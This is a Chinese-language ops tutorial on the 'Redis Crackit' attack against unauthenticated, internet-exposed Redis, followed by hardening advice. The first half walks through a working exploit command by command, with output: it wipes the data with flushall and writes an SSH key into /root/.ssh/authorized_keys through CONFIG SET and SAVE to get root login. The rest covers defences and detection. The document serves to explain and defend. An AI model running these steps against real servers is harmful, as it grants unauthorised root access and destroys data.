Redis Crackit漏洞利用和防护

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!
目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

环境准备

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。
# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3.给你的公钥加点换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt

入侵开始

清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。

[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK

把公钥写入到一个key里面

[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen

连接到这个redis上

[root@test-node1 ~]# redis-cli -h 192.168.199.221

设置rdb文件存放的路径

redis 192.168.199.221:6379> config set dir /root/.ssh/
OK

设置rdb文件的文件名

redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK

搞定保存

redis 192.168.199.221:6379> save
OK

退出

redis 192.168.199.221:6379> exit

尝试登陆吧

[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys

[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护

1.禁用这些可以入侵的命令:

[root@test-node2 ~]# vim /etc/redis.conf
rename-command FLUSHALL ""
#rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。

2.将你的redis不要运行在0.0.0.0.或者设置验证。

[root@test-node2 ~]# vim /etc/redis.conf
requirepass redis-passwd
bind 192.168.199.11

3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵

  • 1.你的redis数据莫名其妙没有了。
  • 2.检查你的rdb文件存放的路径
  • 3.检查是否有非法的authorized_keys

数据库密码

除此之外,还可以通过配置文件中的requirepass参数为Redis设置一个密码。例如:

requirepass TAFK(@~!ji^XALQ(sYh5xIwTn5D s7JF

客户端每次连接到Redis时都需要发送密码,否则Redis会拒绝执行客户端发来的命令。例如:

redis> GET foo
(error) ERR operation not permitted

发送密码需要使用AUTH命令,就像这样:

redis> AUTH TAFK(@~!ji^XALQ(sYh5xIwTn5D s7JF
OK

之后就可以执行任何命令了:

redis> GET foo
" 1"

由于Redis的性能极高,并且输入错误密码后Redis并不会进行主动延迟(考虑到Redis的单线程模型),所以攻击者可以通过穷举法破解Redis的密码(1秒内能够尝试十几万个密码),因此在设置时一定要选择复杂的密码。
提示配置Redis复制的时候如果主数据库设置了密码,需要在从数据库的配置文件中通过masterauth参数设置主数据库的密码,以使从数据库连接主数据库时自动使用AUTH命令认证。

命名命令

Redis支持在配置文件中将命令重命名,比如将FLUSHALL命令重命名成一个比较复杂的名字,以保证只有自己的应用可以使用该命令。就像这样:

rename-command FLUSHALL oyfekmjvmwxq5a9c8usofuo369x0it2k

如果希望直接禁用某个命令可以将命令重命名成空字符串:

rename-command FLUSHALL ""

注意无论设置密码还是重命名命令,都需要保证配置文件的安全性,否则就没有任何意义了。